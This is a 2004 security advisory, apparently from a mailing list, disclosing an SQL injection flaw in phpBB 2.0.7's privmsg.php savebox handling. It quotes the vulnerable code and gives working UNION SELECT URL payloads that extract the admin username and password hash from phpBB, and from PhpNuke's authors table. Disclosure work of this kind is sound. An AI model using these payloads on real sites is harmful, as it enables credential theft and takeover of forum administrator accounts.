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From: come2waraxe at yahoo.com (Janek Vind)
Subject: [waraxe-2004-SA#013 - Critical sql injection bug in PhpBB 2.0.7 and in older versions]
{================================================================================}
{ [waraxe-2004-SA#013]
}
{================================================================================}
{
}
{ [ Critical sql injection bug in PhpBB 2.0.7 and
in older versions ] }
{
}
{================================================================================}
Author: Janek Vind "waraxe"
Date: 26. March 2004
Location: Estonia, Tartu
Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
PhpBB is widely used and very popular forum software,
written in php.
Homepage: http://www.phpbb.com/
Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
PhpBB 2.0.x is written very carefully and securely.
But even there can be bugs, which
will give to potential malicious attacker sensitive
information from database - admin's
username and password's md5 hash.
So, let's look at original code from privmsg.php line
189:
*************************************************************************************
// SQL to pull appropriate message, prevents nosey
people
// reading other peoples messages ... hopefully!
//
switch( $folder )
{
case 'inbox':
$l_box_name = $lang['Inbox'];
$pm_sql_user = "AND pm.privmsgs_to_userid = " .
$userdata['user_id'] . "
AND ( pm.privmsgs_type = " . PRIVMSGS_READ_MAIL .
"
OR pm.privmsgs_type = " . PRIVMSGS_NEW_MAIL . "
OR pm.privmsgs_type = " . PRIVMSGS_UNREAD_MAIL .
" )";
break;
case 'outbox':
$l_box_name = $lang['Outbox'];
$pm_sql_user = "AND pm.privmsgs_from_userid = " .
$userdata['user_id'] . "
AND ( pm.privmsgs_type = " . PRIVMSGS_NEW_MAIL . "
OR pm.privmsgs_type = " . PRIVMSGS_UNREAD_MAIL .
" ) ";
break;
case 'sentbox':
$l_box_name = $lang['Sentbox'];
$pm_sql_user = "AND pm.privmsgs_from_userid = " .
$userdata['user_id'] . "
AND pm.privmsgs_type = " . PRIVMSGS_SENT_MAIL;
break;
case 'savebox':
$l_box_name = $lang['Savebox'];
$pm_sql_user .= "AND ( ( pm.privmsgs_to_userid = "
. $userdata['user_id'] . "
AND pm.privmsgs_type = " . PRIVMSGS_SAVED_IN_MAIL
. " )
OR ( pm.privmsgs_from_userid = " .
$userdata['user_id'] . "
AND pm.privmsgs_type = " .
PRIVMSGS_SAVED_OUT_MAIL . " )
)";
break;
default:
message_die(GENERAL_ERROR,
$lang['No_such_folder']);
break;
}
//
// Major query obtains the message ...
//
$sql = "SELECT u.username AS username_1, u.user_id AS
user_id_1, u2.username AS username_2, u2.user_id AS
user_id_2, u.user_sig_bbcode_uid, u.user_posts,
u.user_from, u.user_website, u.user_email, u.user_icq,
u.user_aim, u.user_yim, u.user_regdate, u.user_msnm,
u.user_viewemail, u.user_rank, u.user_sig,
u.user_avatar, pm.*, pmt.privmsgs_bbcode_uid,
pmt.privmsgs_text
FROM " . PRIVMSGS_TABLE . " pm, " .
PRIVMSGS_TEXT_TABLE . " pmt, " . USERS_TABLE . " u, "
. USERS_TABLE . " u2
WHERE pm.privmsgs_id = $privmsgs_id
AND pmt.privmsgs_text_id = pm.privmsgs_id
$pm_sql_user
AND u.user_id = pm.privmsgs_from_userid
AND u2.user_id = pm.privmsgs_to_userid";
*****************************************************************************
As we can see, for some reason there is "$pm_sql_user
.=" in case of 'savebox'. Funny thing is, that
this little bug can open critical security hole to
forum. First, let's try this:
http://localhost/phpbb206c/privmsg.php?folder=savebox&mode=read&p=99&pm_sql_user=foobar
and we get error message:
General Error
Could not query private message post information
DEBUG MODE
SQL Error : 1064 You have an error in your SQL syntax.
Check the manual that corresponds to your MySQL server
version for the right syntax to use near 'foobarAND (
( pm.privmsgs_to_userid = 2 AND pm.privmsgs_t
SELECT u.username AS username_1, u.user_id AS
user_id_1, u2.username AS username_2, u2.user_id AS
user_id_2, u.user_sig_bbcode_uid, u.user_posts,
u.user_from, u.user_website, u.user_email, u.user_icq,
u.user_aim, u.user_yim, u.user_regdate, u.user_msnm,
u.user_viewemail, u.user_rank, u.user_sig,
u.user_avatar, pm.*, pmt.privmsgs_bbcode_uid,
pmt.privmsgs_text FROM phpbb_privmsgs pm,
phpbb_privmsgs_text pmt, phpbb_users u, phpbb_users u2
WHERE pm.privmsgs_id = 99 AND pmt.privmsgs_text_id =
pm.privmsgs_id foobarAND ( ( pm.privmsgs_to_userid = 2
AND pm.privmsgs_type = 3 ) OR (
pm.privmsgs_from_userid = 2 AND pm.privmsgs_type = 4 )
) AND u.user_id = pm.privmsgs_from_userid AND
u2.user_id = pm.privmsgs_to_userid
Line : 238
File : D:\apache_wwwroot\phpbb206c\privmsg.php
Next, if we request this:
http://localhost/phpbb206c/privmsg.php?folder=savebox&mode=read&p=99&pm_sql_user=AND%20pm.privmsgs_type=-99%20UNION%20SELECT%20null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null/*
then we don't get any error messages. Now it's time to
do something "useful":
********************[real-life
sploit]********************
http://localhost/phpbb206c/privmsg.php?folder=savebox&mode=read&p=99&pm_sql_user=AND%20pm.privmsgs_type=-99%20UNION%20SELECT%20username,null,user_password,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null
FROM phpbb_users WHERE user_level=1 LIMIT 1/*
********************[/real-life
sploit]*******************
and we will see in plaintext admin's username and
password's md5 hash ;)
And to all PhpNuke 6.x and 7.x users, here is
something for you:
http://localhost/nuke69j1/modules.php?name=Private_Messages&file=index&folder=savebox&mode=read&p=99&pm_sql_user=AND%20pm.privmsgs_type=-99%20UNION%20SELECT%20aid,null,pwd,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null%20FROM%20nuke_authors%20WHERE%20radminsuper=1%20LIMIT%201/*
Post Scriptum:
I really enjoy reading of the PhpBB 2.x code, because
it is written with good style and it's
very secure. To all php programmers - I recommend to
read the file "docs\codingstandards.htm" from
phpbb package, it will help to learn good style of the
programming!
Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Greets to torufoorum members and to all bugtraq
readers in Estonia! Tervitused!
Special greets to Stefano from UT Bee Clan!
Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
come2waraxe@...oo.com
Janek Vind "waraxe"
---------------------------------- [ EOF ]
------------------------------------
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